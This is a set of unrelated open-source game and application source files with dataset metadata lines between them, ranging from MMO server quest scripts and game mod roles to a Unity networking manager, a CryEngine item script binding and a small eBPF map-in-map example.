namespace Grove { using System; using System.Collections.Generic; using Effects; public abstract class CardTemplateSource { public CardTemplate Card { get { return new CardTemplate(); } } public abstract IEnumerable<CardTemplate> GetCards(); protected T[] L<T>(params T[] elt) { return elt; } protected CardModifierFactory[] L(params CardModifierFactory[] elt) { return elt; } protected Effect.Factory[] L(params Effect.Factory[] elt) { return elt; } protected DynParam<T> P<T>(Func<Effect, Game, T> getter, EvaluateAt evaluateAt = EvaluateAt.OnInit) { return new DynParam<T>(getter, evaluateAt); } protected DynParam<T> P<T>(Func<Effect, T> getter, EvaluateAt evaluateAt = EvaluateAt.OnInit) { return new DynParam<T>((e, g) => getter(e), evaluateAt); } public LevelDefinition Level(int min, int power, int toughness, Static ability, int? max = null) { return new LevelDefinition { Min = min, Max = max, Power = power, Toughness = toughness, StaticAbility = ability }; } } }
1
0.90251
1
0.90251
game-dev
MEDIA
0.460669
game-dev
0.884669
1
0.884669
DarkstarProject/darkstar
2,467
scripts/zones/Bastok_Mines/npcs/Elki.lua
----------------------------------- -- Area: Bastok Mines -- NPC: Elki -- Starts Quests: Hearts of Mythril, The Eleventh's Hour ----------------------------------- require("scripts/globals/quests"); require("scripts/globals/keyitems"); require("scripts/globals/settings"); require("scripts/globals/titles"); local ID = require("scripts/zones/Bastok_Mines/IDs"); ----------------------------------- function onTrade(player,npc,trade) end; function onTrigger(player,npc) Fame = player:getFameLevel(BASTOK); Hearts = player:getQuestStatus(BASTOK,dsp.quest.id.bastok.HEARTS_OF_MYTHRIL); HeartsVar = player:getCharVar("HeartsOfMythril"); Elevenths = player:getQuestStatus(BASTOK,dsp.quest.id.bastok.THE_ELEVENTH_S_HOUR); EleventhsVar = player:getCharVar("EleventhsHour"); HasToolbox = player:hasKeyItem(dsp.ki.OLD_TOOLBOX); if (Hearts == QUEST_AVAILABLE) then player:startEvent(41); elseif (Hearts == QUEST_ACCEPTED and HeartsVar == 1) then player:startEvent(42); elseif (Hearts == QUEST_COMPLETED and Elevenths == QUEST_AVAILABLE and Fame >=2 and player:needToZone() == false) then player:startEvent(43); elseif (Elevenths == QUEST_ACCEPTED and HasToolbox) then player:startEvent(44); else player:startEvent(31); end end; function onEventUpdate(player,csid,option) -- printf("CSID2: %u",csid); -- printf("RESULT2: %u",option); end; function onEventFinish(player,csid,option) if (csid == 41 and option == 0) then player:addQuest(BASTOK,dsp.quest.id.bastok.HEARTS_OF_MYTHRIL); player:addKeyItem(dsp.ki.BOUQUETS_FOR_THE_PIONEERS); player:messageSpecial(ID.text.KEYITEM_OBTAINED,dsp.ki.BOUQUETS_FOR_THE_PIONEERS); elseif (csid == 42) then if (player:getFreeSlotsCount() == 0) then player:messageSpecial(ID.text.ITEM_CANNOT_BE_OBTAINED,12840); else player:addTitle(dsp.title.PURSUER_OF_THE_PAST); player:addItem(12840); player:messageSpecial(ID.text.ITEM_OBTAINED,12840); player:completeQuest(BASTOK,dsp.quest.id.bastok.HEARTS_OF_MYTHRIL); player:addFame(BASTOK,80); player:setCharVar("HeartsOfMythril",0); player:needToZone(true); end elseif (csid == 43 and option == 1) then player:addQuest(BASTOK,dsp.quest.id.bastok.THE_ELEVENTH_S_HOUR); elseif (csid == 44) then player:setCharVar("EleventhsHour",1); end end;
1
0.899097
1
0.899097
game-dev
MEDIA
0.980592
game-dev
0.955732
1
0.955732
beyond-aion/aion-server
2,033
game-server/data/handlers/instance/HaramelInstance.java
package instance; import com.aionemu.gameserver.instance.handlers.GeneralInstanceHandler; import com.aionemu.gameserver.instance.handlers.InstanceID; import com.aionemu.gameserver.model.gameobjects.Npc; import com.aionemu.gameserver.model.gameobjects.player.Player; import com.aionemu.gameserver.network.aion.serverpackets.SM_PLAY_MOVIE; import com.aionemu.gameserver.network.aion.serverpackets.SM_SYSTEM_MESSAGE; import com.aionemu.gameserver.utils.PacketSendUtility; import com.aionemu.gameserver.world.WorldMapInstance; /** * @author Undertrey */ @InstanceID(300200000) public class HaramelInstance extends GeneralInstanceHandler { public HaramelInstance(WorldMapInstance instance) { super(instance); } @Override public void onDie(Npc npc) { Player player = npc.getAggroList().getMostPlayerDamage(); if (player == null) return; switch (npc.getNpcId()) { case 216922: npc.getController().delete(); sendMsg(SM_SYSTEM_MESSAGE.STR_MSG_IDNOVICE_HAMEROON_TREASUREBOX_SPAWN()); PacketSendUtility.sendPacket(player, new SM_PLAY_MOVIE(false, 0, 0, 457, true)); switch (player.getPlayerClass()) { case GLADIATOR: case TEMPLAR: spawn(700829, 224.137f, 268.608f, 144.898f, (byte) 90); // chest warrior break; case ASSASSIN: case RANGER: case GUNNER: spawn(700830, 224.137f, 268.608f, 144.898f, (byte) 90); // chest scout break; case BARD: case SORCERER: case SPIRIT_MASTER: spawn(700831, 224.137f, 268.608f, 144.898f, (byte) 90); // chest mage break; case CLERIC: case CHANTER: case RIDER: spawn(700832, 224.137f, 268.608f, 144.898f, (byte) 90); // chest cleric break; } spawn(700852, 224.5984f, 331.1431f, 141.8925f, (byte) 90); // spawn opened dimensional gate break; case 216920: // Brainwashed Dukaki Weakarm case 216921: // Brainwashed Dukaki Peon case 217067: // Brainwashed MuMu Worker case 700950: // Aether Cart npc.getController().delete(); break; } } }
1
0.969091
1
0.969091
game-dev
MEDIA
0.970352
game-dev
0.897221
1
0.897221
TownOfNext/TownOfNext
1,349
TONX/Roles/Crewmate/Glitch.cs
using AmongUs.GameOptions; namespace TONX.Roles.Crewmate; public sealed class Glitch : RoleBase { public static readonly SimpleRoleInfo RoleInfo = SimpleRoleInfo.Create( typeof(Glitch), player => new Glitch(player), CustomRoles.Glitch, () => RoleTypes.Crewmate, CustomRoleTypes.Crewmate, 23000, SetupOptionItem, "gl|活死", "#dcdcdc" ); public Glitch(PlayerControl player) : base( RoleInfo, player ) { } static OptionItem OptionCanVote; enum OptionName { GlitchCanVote, } private static void SetupOptionItem() { OptionCanVote = BooleanOptionItem.Create(RoleInfo, 10, OptionName.GlitchCanVote, true, false); } public override (byte? votedForId, int? numVotes, bool doVote) ModifyVote(byte voterId, byte sourceVotedForId, bool isIntentional) { var (votedForId, numVotes, doVote) = base.ModifyVote(voterId, sourceVotedForId, isIntentional); var baseVote = (votedForId, numVotes, doVote); if (!isIntentional || voterId != Player.PlayerId || OptionCanVote.GetBool() || sourceVotedForId >= 253 || !Player.IsAlive()) { return baseVote; } return (votedForId, numVotes, false); } }
1
0.863034
1
0.863034
game-dev
MEDIA
0.670183
game-dev
0.970337
1
0.970337
wuba/WBBlades
2,343
WBAppSize/UI/SizeDetail/ShowList/Cells/ASShowFileListImageCell.swift
// // ASShowFileListImageCell.swift // AppSizeManager // // Created by Shwnfee on 2022/3/23. // Copyright (C) 2005-present, 58.com. All rights reserved. import Cocoa class ASShowFileListImageCell: ASShowFileListBaseCell { @IBOutlet weak var leftMarginConstraint: NSLayoutConstraint! @IBOutlet weak var iconImageView: NSImageView! @IBOutlet weak var titleLabel: NSTextField! @IBOutlet weak var titleExtraLabel: NSTextField! @IBOutlet weak var fileSizeLabel: NSTextField! deinit { NotificationCenter.default.removeObserver(self) } @objc func dataUpdate() { self.reload(model: self.model) } override func update(model: ASShowFileListBaseModel) { guard let imgModel:ASShowFileListImageModel = model as? ASShowFileListImageModel else { return } NotificationCenter.default.removeObserver(self) self.reload(model: imgModel) self.model = imgModel NotificationCenter.default.addObserver(self, selector: #selector(self.dataUpdate), name: NSNotification.Name.asFileUpdate, object: imgModel.originData) } func reload(model:ASShowFileListBaseModel?) { guard let imgModel:ASShowFileListImageModel = model as? ASShowFileListImageModel else { return } self.leftMarginConstraint.constant = CGFloat(50+20*imgModel.foldLevel); var sizeFontSize = 30.0 - CGFloat(imgModel.foldLevel * 5) if (sizeFontSize < 17.0){ sizeFontSize = 17.0 } self.fileSizeLabel.font = NSFont.boldSystemFont(ofSize: sizeFontSize) self.iconImageView.image = NSImage(named: imgModel.iconName()) self.titleLabel.stringValue = imgModel.fileName self.fileSizeLabel.stringValue = String(format: "%@", ASUtils.discription(withByteSize: imgModel.fileSize)) let isCarFile = imgModel.originData?.car_isCarFile ?? false if (isCarFile) { titleExtraLabel.isHidden = false; }else{ titleExtraLabel.isHidden = true; } } override class func cellHeight(model: ASShowFileListBaseModel) -> CGFloat { return 105 } override func draw(_ dirtyRect: NSRect) { super.draw(dirtyRect) // Drawing code here. } }
1
0.810782
1
0.810782
game-dev
MEDIA
0.372472
game-dev,mobile
0.955186
1
0.955186
sall/vixen
2,323
Modules/Effect/Chase/ChaseDescriptor.cs
using System; using Vixen.Sys; using Vixen.Module.Effect; using VixenModules.App.ColorGradients; using VixenModules.App.Curves; using System.Drawing; namespace VixenModules.Effect.Chase { public class ChaseDescriptor : EffectModuleDescriptorBase { private static Guid _typeId = new Guid("{affea852-85b1-418f-9cdf-0b9735154bb5}"); private static Guid _CurvesId = new Guid("{4e258de2-7a75-4f0f-aa43-c8182e7f3400}"); private static Guid _ColorGradientId = new Guid("{64f4ab26-3ed4-49a3-a004-23656ed0424a}"); private static Guid _PulseId = new Guid("{cbd76d3b-c924-40ff-bad6-d1437b3dbdc0}"); public override string EffectName { get { return "Chase"; } } public override EffectGroups EffectGroup { get { return EffectGroups.Basic; } } public override Guid TypeId { get { return _typeId; } } public override Type ModuleClass { get { return typeof (Chase); } } public override Type ModuleDataClass { get { return typeof (ChaseData); } } public override string Author { get { return "Vixen Team"; } } public override string TypeName { get { return EffectName; } } public override string Description { get { return "Applies a pulse on consecutive elements in the given group, chasing though each item in the group."; } } public override string Version { get { return "1.0"; } } public override Guid[] Dependencies { get { return new Guid[] {_CurvesId, _ColorGradientId, _PulseId}; } } public override ParameterSignature Parameters { get { return new ParameterSignature( new ParameterSpecification("Color Handling", typeof (ChaseColorHandling)), new ParameterSpecification("Pulse Overlap", typeof (int)), new ParameterSpecification("Default element level", typeof (double)), new ParameterSpecification("Static Color", typeof (Color)), new ParameterSpecification("Color Gradient", typeof (ColorGradient)), new ParameterSpecification("Individual Pulse Curve", typeof (Curve)), new ParameterSpecification("Chase Movement Curve", typeof (Curve)), new ParameterSpecification("Depth of Effect", typeof (int)), new ParameterSpecification("Extend Pulse to Start", typeof(bool)), new ParameterSpecification("Extend Pulse to End", typeof(bool)) ); } } } }
1
0.81964
1
0.81964
game-dev
MEDIA
0.332883
game-dev
0.670565
1
0.670565
goadesign/goa
1,208
codegen/testdata/golden/validation_integer-pointer.go.golden
func Validate() (err error) { if target.RequiredInteger == nil { err = goa.MergeErrors(err, goa.MissingFieldError("required_integer", "target")) } if target.RequiredInteger != nil { if *target.RequiredInteger < 1 { err = goa.MergeErrors(err, goa.InvalidRangeError("target.required_integer", *target.RequiredInteger, 1, true)) } } if target.DefaultInteger != nil { if !(*target.DefaultInteger == 1 || *target.DefaultInteger == 5 || *target.DefaultInteger == 10 || *target.DefaultInteger == 100) { err = goa.MergeErrors(err, goa.InvalidEnumValueError("target.default_integer", *target.DefaultInteger, []any{1, 5, 10, 100})) } } if target.Integer != nil { if *target.Integer > 100 { err = goa.MergeErrors(err, goa.InvalidRangeError("target.integer", *target.Integer, 100, false)) } } if target.ExclusiveInteger != nil { if *target.ExclusiveInteger <= 1 { err = goa.MergeErrors(err, goa.InvalidRangeError("target.exclusive_integer", *target.ExclusiveInteger, 1, true)) } } if target.ExclusiveInteger != nil { if *target.ExclusiveInteger <= 1 { err = goa.MergeErrors(err, goa.InvalidRangeError("target.exclusive_integer", *target.ExclusiveInteger, 1, true)) } } }
1
0.777212
1
0.777212
game-dev
MEDIA
0.765972
game-dev
0.587969
1
0.587969
MergHQ/CRYENGINE
12,331
Code/GameSDK/GameDll/ScriptBind_Item.cpp
// Copyright 2001-2016 Crytek GmbH / Crytek Group. All rights reserved. /************************************************************************* ------------------------------------------------------------------------- $Id$ $DateTime$ ------------------------------------------------------------------------- History: - 27:10:2004 11:29 : Created by Mrcio Martins *************************************************************************/ #include "StdAfx.h" #include "ScriptBind_Item.h" #include "Item.h" #include "IGameObject.h" #include "Player.h" #include "PlayerPlugin_Interaction.h" #include "ItemSharedParams.h" #include "UI/HUD/HUDUtils.h" #include "IVehicleSystem.h" #include "IInteractor.h" #include "Weapon.h" #include "Network/Lobby/GameAchievements.h" #define REUSE_VECTOR(table, name, value) \ { if (table->GetValueType(name) != svtObject) \ { \ table->SetValue(name, (value)); \ } \ else \ { \ SmartScriptTable v; \ table->GetValue(name, v); \ v->SetValue("x", (value).x); \ v->SetValue("y", (value).y); \ v->SetValue("z", (value).z); \ } \ } //------------------------------------------------------------------------ CScriptBind_Item::CScriptBind_Item(ISystem *pSystem, IGameFramework *pGameFramework) : m_pSystem(pSystem), m_pGameFW(pGameFramework) { Init(pSystem->GetIScriptSystem(), m_pSystem, 1); RegisterMethods(); RegisterGlobals(); m_stats.Create(m_pSystem->GetIScriptSystem()); m_params.Create(m_pSystem->GetIScriptSystem()); } //------------------------------------------------------------------------ CScriptBind_Item::~CScriptBind_Item() { } //------------------------------------------------------------------------ void CScriptBind_Item::AttachTo(CItem *pItem) { IScriptTable *pScriptTable = pItem->GetEntity()->GetScriptTable(); if (pScriptTable) { SmartScriptTable thisTable(m_pSS); thisTable->SetValue("__this", ScriptHandle(pItem->GetEntityId())); thisTable->Delegate(GetMethodsTable()); pScriptTable->SetValue("item", thisTable); } } //------------------------------------------------------------------------ void CScriptBind_Item::RegisterGlobals() { } //------------------------------------------------------------------------ void CScriptBind_Item::RegisterMethods() { #undef SCRIPT_REG_CLASSNAME #define SCRIPT_REG_CLASSNAME &CScriptBind_Item:: SCRIPT_REG_TEMPLFUNC(Reset, ""); SCRIPT_REG_TEMPLFUNC(CanPickUp, "userId"); SCRIPT_REG_TEMPLFUNC(CanUse, "userId"); SCRIPT_REG_TEMPLFUNC(CanUseVehicle, "userId"); SCRIPT_REG_TEMPLFUNC(IsPickable, ""); SCRIPT_REG_TEMPLFUNC(IsMounted, ""); SCRIPT_REG_TEMPLFUNC(GetUsableText, ""); SCRIPT_REG_TEMPLFUNC(GetOwnerId, ""); SCRIPT_REG_TEMPLFUNC(StartUse, "userId"); SCRIPT_REG_TEMPLFUNC(StopUse, "userId"); SCRIPT_REG_TEMPLFUNC(Use, "userId"); SCRIPT_REG_TEMPLFUNC(IsUsed, ""); SCRIPT_REG_TEMPLFUNC(GetMountedDir, ""); SCRIPT_REG_TEMPLFUNC(SetMountedAngleLimits,"min_pitch, max_pitch, yaw_range"); SCRIPT_REG_TEMPLFUNC(OnHit, "hit"); SCRIPT_REG_TEMPLFUNC(IsDestroyed, ""); SCRIPT_REG_TEMPLFUNC(OnUsed, "userId"); SCRIPT_REG_TEMPLFUNC(HasAccessory, "accessoryClass"); SCRIPT_REG_TEMPLFUNC(AllowDrop, ""); SCRIPT_REG_TEMPLFUNC(DisallowDrop, ""); } //------------------------------------------------------------------------ CItem *CScriptBind_Item::GetItem(IFunctionHandler *pH) { void *pThis = pH->GetThis(); if (pThis) { IItem *pItem = m_pGameFW->GetIItemSystem()->GetItem((EntityId)(UINT_PTR)pThis); if (pItem) return static_cast<CItem *>(pItem); } return 0; } //------------------------------------------------------------------------ CActor *CScriptBind_Item::GetActor(EntityId actorId) { return static_cast<CActor *>(m_pGameFW->GetIActorSystem()->GetActor(actorId)); } //------------------------------------------------------------------------ int CScriptBind_Item::Reset(IFunctionHandler *pH) { CItem *pItem = GetItem(pH); if (!pItem) return pH->EndFunction(); pItem->Reset(); return pH->EndFunction(); } //------------------------------------------------------------------------ int CScriptBind_Item::CanPickUp(IFunctionHandler *pH, ScriptHandle userId) { CItem *pItem = GetItem(pH); if (!pItem) return pH->EndFunction(); return pH->EndFunction(pItem->CanPickUp((EntityId)userId.n)); } //------------------------------------------------------------------------ int CScriptBind_Item::CanUse(IFunctionHandler *pH, ScriptHandle userId) { CItem *pItem = GetItem(pH); if (!pItem) return pH->EndFunction(); return pH->EndFunction(pItem->CanUse((EntityId)userId.n)); } //------------------------------------------------------------------------ int CScriptBind_Item::CanUseVehicle(IFunctionHandler *pH, ScriptHandle userId) { CItem *pItem = GetItem(pH); if (!pItem) return pH->EndFunction(); IEntity* pParent = pItem->GetEntity()->GetParent(); if(pParent) { IVehicle* pVehicle = gEnv->pGame->GetIGameFramework()->GetIVehicleSystem()->GetVehicle(pParent->GetId()); if(pVehicle) { return pH->EndFunction(pVehicle->IsUsable((EntityId)userId.n)); } } return pH->EndFunction(pItem->CanUse((EntityId)userId.n)); } //------------------------------------------------------------------------ int CScriptBind_Item::IsPickable(IFunctionHandler *pH) { CItem *pItem = GetItem(pH); if (!pItem) return pH->EndFunction(); return pH->EndFunction(pItem->IsPickable()); } //------------------------------------------------------------------------ int CScriptBind_Item::IsMounted(IFunctionHandler *pH) { CItem *pItem = GetItem(pH); if (!pItem) return pH->EndFunction(); return pH->EndFunction(pItem->IsMounted()); } //------------------------------------------------------------------------ int CScriptBind_Item::GetUsableText(IFunctionHandler *pH) { CItem *pItem = GetItem(pH); if (!pItem) return pH->EndFunction(); CryFixedStringT<64> finalString; CryFixedStringT<64> tempString; tempString.Format("@ui_item_pickup %s", pItem->GetSharedItemParams()->params.display_name.c_str()); finalString = CHUDUtils::LocalizeString(tempString.c_str()); return pH->EndFunction(finalString.c_str()); } //------------------------------------------------------------------------ int CScriptBind_Item::GetOwnerId(IFunctionHandler *pH) { CItem *pItem = GetItem(pH); if (!pItem) return pH->EndFunction(); return pH->EndFunction(ScriptHandle(pItem->GetOwnerId())); } //------------------------------------------------------------------------ int CScriptBind_Item::StartUse(IFunctionHandler *pH, ScriptHandle userId) { CItem *pItem = GetItem(pH); if (!pItem) return pH->EndFunction(); pItem->StartUse((EntityId)userId.n); return pH->EndFunction(); } //------------------------------------------------------------------------ int CScriptBind_Item::StopUse(IFunctionHandler *pH, ScriptHandle userId) { CItem *pItem = GetItem(pH); if (!pItem) return pH->EndFunction(); pItem->StopUse((EntityId)userId.n); return pH->EndFunction(); } //------------------------------------------------------------------------ int CScriptBind_Item::Use(IFunctionHandler *pH, ScriptHandle userId) { CItem *pItem = GetItem(pH); if (!pItem) return pH->EndFunction(); pItem->Use((EntityId)userId.n); return pH->EndFunction(); } //------------------------------------------------------------------------ int CScriptBind_Item::IsUsed(IFunctionHandler *pH) { CItem *pItem = GetItem(pH); if (!pItem) return pH->EndFunction(); return pH->EndFunction(pItem->IsUsed()); } //------------------------------------------------------------------------ int CScriptBind_Item::GetMountedDir(IFunctionHandler *pH) { CItem *pItem = GetItem(pH); if (!pItem) return pH->EndFunction(); return pH->EndFunction(Script::SetCachedVector(pItem->GetStats().mount_dir, pH, 1)); } //------------------------------------------------------------------------ int CScriptBind_Item::SetMountedAngleLimits(IFunctionHandler *pH, float min_pitch, float max_pitch, float yaw_range) { CItem *pItem = GetItem(pH); if (pItem) pItem->SetMountedAngleLimits(min_pitch, max_pitch, yaw_range); return pH->EndFunction(); } //------------------------------------------------------------------------ int CScriptBind_Item::OnHit(IFunctionHandler *pH, SmartScriptTable hitTable) { CItem *pItem = GetItem(pH); if (!pItem) return pH->EndFunction(); float damage = 0.f; hitTable->GetValue("damage", damage); char* damageTypeName = 0; hitTable->GetValue("type", damageTypeName); const int hitType = g_pGame->GetGameRules()->GetHitTypeId(damageTypeName); pItem->OnHit(damage, hitType); return pH->EndFunction(); } //------------------------------------------------------------------------ int CScriptBind_Item::IsDestroyed(IFunctionHandler *pH) { CItem *pItem = GetItem(pH); if (!pItem) return pH->EndFunction(false); return pH->EndFunction(pItem->IsDestroyed()); } //------------------------------------------------------------------------ int CScriptBind_Item::OnUsed(IFunctionHandler *pH, ScriptHandle userId) { CItem *pItem = GetItem(pH); if (!pItem) return pH->EndFunction(); CActor *pActor = GetActor((EntityId)userId.n); if (!pActor) return pH->EndFunction(); if (pItem->CanUse((EntityId)userId.n)) { if(IEntity* pParent = pItem->GetEntity()->GetParent()) { IVehicle* pVehicle = gEnv->pGame->GetIGameFramework()->GetIVehicleSystem()->GetVehicle(pParent->GetId()); if(pVehicle) { CPlayer* pPlayer = static_cast<CPlayer*>(pActor); IInteractor* pInteractor = pPlayer->GetInteractor(); return pH->EndFunction( pVehicle->OnUsed((EntityId)userId.n, pInteractor->GetOverSlotIdx()) ); } } pActor->UseItem(pItem->GetEntityId()); return pH->EndFunction(true); } else if (pItem->CanPickUp((EntityId)userId.n)) { //Should be always the client... if (pActor->IsClient()) { CPlayer* pClientPlayer = static_cast<CPlayer*>(pActor); const SInteractionInfo& interactionInfo = pClientPlayer->GetCurrentInteractionInfo(); bool expectedItem = (interactionInfo.interactiveEntityId == pItem->GetEntityId()); bool expectedInteraction = (interactionInfo.interactionType == eInteraction_PickupItem) || (interactionInfo.interactionType == eInteraction_ExchangeItem); if (!expectedItem || !expectedInteraction) { return pH->EndFunction(); } if (interactionInfo.interactionType == eInteraction_ExchangeItem) { IItemSystem* pItemSystem = g_pGame->GetIGameFramework()->GetIItemSystem(); CItem* pCurrentItem = static_cast<CItem*>(pActor->GetCurrentItem()); CItem* pExchangeItem = static_cast<CItem*>(pItemSystem->GetItem(interactionInfo.swapEntityId)); if (pExchangeItem && pCurrentItem) pExchangeItem->ScheduleExchangeToNextItem(pActor, pItem, pCurrentItem); } else { pActor->PickUpItem(pItem->GetEntityId(), true, true); } } else { pActor->PickUpItem(pItem->GetEntityId(), true, true); } return pH->EndFunction(true); } return pH->EndFunction(); } //------------------------------------------------------------------------ int CScriptBind_Item::HasAccessory(IFunctionHandler *pH, const char* accessoryName) { CItem *pItem = GetItem(pH); if (pItem) return pH->EndFunction(pItem->HasAccessory(accessoryName)); return pH->EndFunction(); } int CScriptBind_Item::AllowDrop(IFunctionHandler *pH) { CItem *pItem = GetItem(pH); if (pItem != NULL) { IWeapon* pWeaponInterface = pItem->GetIWeapon(); if (pWeaponInterface == NULL) { // Sorry, this is currently only implemented for weapons (trying to keep CItem 'clean'). assert(false); } else { CWeapon* pWeapon = static_cast<CWeapon*>(pWeaponInterface); pWeapon->AllowDrop(); } } return pH->EndFunction(); } int CScriptBind_Item::DisallowDrop(IFunctionHandler *pH) { CItem *pItem = GetItem(pH); if (pItem != NULL) { IWeapon* pWeaponInterface = pItem->GetIWeapon(); if (pWeaponInterface == NULL) { // Sorry, this is currently only implemented for weapons (trying to keep CItem 'clean'). assert(false); } else { CWeapon* pWeapon = static_cast<CWeapon*>(pWeaponInterface); pWeapon->DisallowDrop(); } } return pH->EndFunction(); } //------------------------------------------------------------------------ #undef GVALUE #undef SVALUE #undef REUSE_VECTOR
1
0.97932
1
0.97932
game-dev
MEDIA
0.846898
game-dev
0.955426
1
0.955426
Mortalknight/GW2_UI
2,905
Libs/Core/oUF/combatevents.lua
local _, ns = ... local oUF = ns.oUF local Private = oUF.Private local argcheck = Private.argcheck local frame_metatable = Private.frame_metatable local CombatLogGetCurrentEventInfo = _G.CombatLogGetCurrentEventInfo local event_metatable = { __call = function(funcs, ...) for self, func in next, funcs do if (self:IsVisible()) then func(self, ...) end end end, } local self_metatable = { __call = function(funcs, self, ...) for _, func in next, funcs do func(self, ...) end end } local listener = CreateFrame('Frame') listener.activeEvents = 0 local function filter(_, event, ...) if(listener[event]) then listener[event](event, ...) end end listener:SetScript('OnEvent', function(self, event) filter(CombatLogGetCurrentEventInfo()) end) --[[ CombatEvents: frame:RegisterCombatEvent(event, handler) Used to register a frame for a combat log event and add an event handler. * self - frame that will be registered for the given event * event - name of the combat log event to register (string) * handler - function which will be executed when the combat log event fires. Multiple handlers can be added for the same frame and event (function) --]] function frame_metatable.__index:RegisterCombatEvent(event, handler) argcheck(event, 2, 'string') argcheck(handler, 3, 'function') if(not listener[event]) then listener[event] = setmetatable({}, event_metatable) listener.activeEvents = listener.activeEvents + 1 end local current = listener[event][self] if(current) then for _, func in next, current do if(func == handler) then return end end table.insert(current, handler) else -- even with a single handler we want to make sure the frame is visible listener[event][self] = setmetatable({handler}, self_metatable) end if(listener.activeEvents > 0) then listener:RegisterEvent('COMBAT_LOG_EVENT_UNFILTERED') end end --[[ CombatEvents: frame:UnregisterCombatEvent(event, handler) Used to remove a function from the event handler list for a combat log event. * self - the frame registered for the event * event - name of the registered combat log event (string) * handler - function to be removed from the list of event handlers --]] function frame_metatable.__index:UnregisterCombatEvent(event, handler) argcheck(event, 2, 'string') if(not listener[event]) then return end local cleanUp = false local current = listener[event][self] if(current) then for i, func in next, current do if(func == handler) then current[i] = nil break end end if(not next(current)) then cleanUp = true end end if(cleanUp) then listener[event][self] = nil if(not next(listener[event])) then listener[event] = nil listener.activeEvents = listener.activeEvents - 1 if(listener.activeEvents <= 0) then listener:UnregisterEvent('COMBAT_LOG_EVENT_UNFILTERED') end end end end
1
0.796738
1
0.796738
game-dev
MEDIA
0.779127
game-dev
0.884706
1
0.884706
thedarkcolour/ForestryCE
1,624
src/main/java/forestry/apiimpl/plugin/HiveBuilder.java
package forestry.apiimpl.plugin; import com.google.common.collect.ImmutableList; import forestry.api.apiculture.hives.IHive; import forestry.api.apiculture.hives.IHiveDefinition; import forestry.api.apiculture.hives.IHiveDrop; import forestry.api.genetics.alleles.IAllele; import forestry.api.genetics.alleles.IChromosome; import forestry.api.plugin.IHiveBuilder; import forestry.apiculture.genetics.HiveDrop; import forestry.apiculture.hives.Hive; import net.minecraft.resources.ResourceLocation; import net.minecraft.world.item.ItemStack; import java.util.ArrayList; import java.util.List; import java.util.Map; import java.util.function.Supplier; public class HiveBuilder implements IHiveBuilder { private final IHiveDefinition definition; private final ArrayList<IHiveDrop> drops = new ArrayList<>(); private float generationChance; public HiveBuilder(IHiveDefinition definition) { this.definition = definition; this.generationChance = definition.getGenChance(); } @Override public IHiveBuilder addDrop(double chance, ResourceLocation speciesId, Supplier<List<ItemStack>> extraItems, float ignobleChance, Map<IChromosome<?>, IAllele> alleles) { this.drops.add(new HiveDrop(chance, speciesId, extraItems.get(), ignobleChance, alleles)); return this; } @Override public IHiveBuilder addCustomDrop(IHiveDrop drop) { this.drops.add(drop); return this; } @Override public void setGenerationChance(float generationChance) { this.generationChance = generationChance; } public IHive build() { return new Hive(this.definition, this.generationChance, ImmutableList.copyOf(this.drops)); } }
1
0.747241
1
0.747241
game-dev
MEDIA
0.263027
game-dev
0.584701
1
0.584701
RanZelong/Contra-Unity
3,377
Assets/Mirror/Examples/CCU/CCUNetworkManager.cs
using UnityEngine; namespace Mirror.Examples.CCU { [AddComponentMenu("")] public class CCUNetworkManager : NetworkManager { [Header("Spawns")] public int spawnAmount = 10_000; public float interleave = 1; public GameObject spawnPrefab; // player spawn positions should be spread across the world. // not all at one place. // but _some_ at the same place. // => deterministic random is ideal [Range(0, 1)] public float spawnPositionRatio = 0.01f; System.Random random = new System.Random(42); void SpawnAll() { // clear previous player spawn positions in case we start twice foreach (Transform position in startPositions) Destroy(position.gameObject); startPositions.Clear(); // calculate sqrt so we can spawn N * N = Amount float sqrt = Mathf.Sqrt(spawnAmount); // calculate spawn xz start positions // based on spawnAmount * distance float offset = -sqrt / 2 * interleave; // spawn exactly the amount, not one more. int spawned = 0; for (int spawnX = 0; spawnX < sqrt; ++spawnX) { for (int spawnZ = 0; spawnZ < sqrt; ++spawnZ) { // spawn exactly the amount, not any more // (our sqrt method isn't 100% precise) if (spawned < spawnAmount) { // spawn & position GameObject go = Instantiate(spawnPrefab); float x = offset + spawnX * interleave; float z = offset + spawnZ * interleave; Vector3 position = new Vector3(x, 0, z); go.transform.position = position; // spawn NetworkServer.Spawn(go); ++spawned; // add random spawn position for players. // don't have them all in the same place. if (random.NextDouble() <= spawnPositionRatio) { GameObject spawnGO = new GameObject("Spawn"); spawnGO.transform.position = position; spawnGO.AddComponent<NetworkStartPosition>(); } } } } } // overwrite random spawn position selection: // - needs to be deterministic so every CCU test results in the same // - needs to be random so not only are the spawn positions spread out // randomly, we also have a random amount of players per spawn position public override Transform GetStartPosition() { // first remove any dead transforms startPositions.RemoveAll(t => t == null); if (startPositions.Count == 0) return null; // pick a random one int index = random.Next(0, startPositions.Count); // DETERMINISTIC return startPositions[index]; } public override void OnStartServer() { base.OnStartServer(); SpawnAll(); } } }
1
0.629637
1
0.629637
game-dev
MEDIA
0.971863
game-dev
0.617569
1
0.617569
upa/af-graft
1,104
iproute2-4.19.0/examples/bpf/bpf_map_in_map.c
#include "../../include/bpf_api.h" #define MAP_INNER_ID 42 struct bpf_elf_map __section_maps map_inner = { .type = BPF_MAP_TYPE_ARRAY, .size_key = sizeof(uint32_t), .size_value = sizeof(uint32_t), .id = MAP_INNER_ID, .inner_idx = 0, .pinning = PIN_GLOBAL_NS, .max_elem = 1, }; struct bpf_elf_map __section_maps map_outer = { .type = BPF_MAP_TYPE_ARRAY_OF_MAPS, .size_key = sizeof(uint32_t), .size_value = sizeof(uint32_t), .inner_id = MAP_INNER_ID, .pinning = PIN_GLOBAL_NS, .max_elem = 1, }; __section("egress") int emain(struct __sk_buff *skb) { struct bpf_elf_map *map_inner; int key = 0, *val; map_inner = map_lookup_elem(&map_outer, &key); if (map_inner) { val = map_lookup_elem(map_inner, &key); if (val) lock_xadd(val, 1); } return BPF_H_DEFAULT; } __section("ingress") int imain(struct __sk_buff *skb) { struct bpf_elf_map *map_inner; int key = 0, *val; map_inner = map_lookup_elem(&map_outer, &key); if (map_inner) { val = map_lookup_elem(map_inner, &key); if (val) printt("map val: %d\n", *val); } return BPF_H_DEFAULT; } BPF_LICENSE("GPL");
1
0.875211
1
0.875211
game-dev
MEDIA
0.57838
game-dev
0.586382
1
0.586382
InfernumTeam/InfernumMode
3,985
Content/BehaviorOverrides/BossAIs/WallOfFlesh/CursedSoul.cs
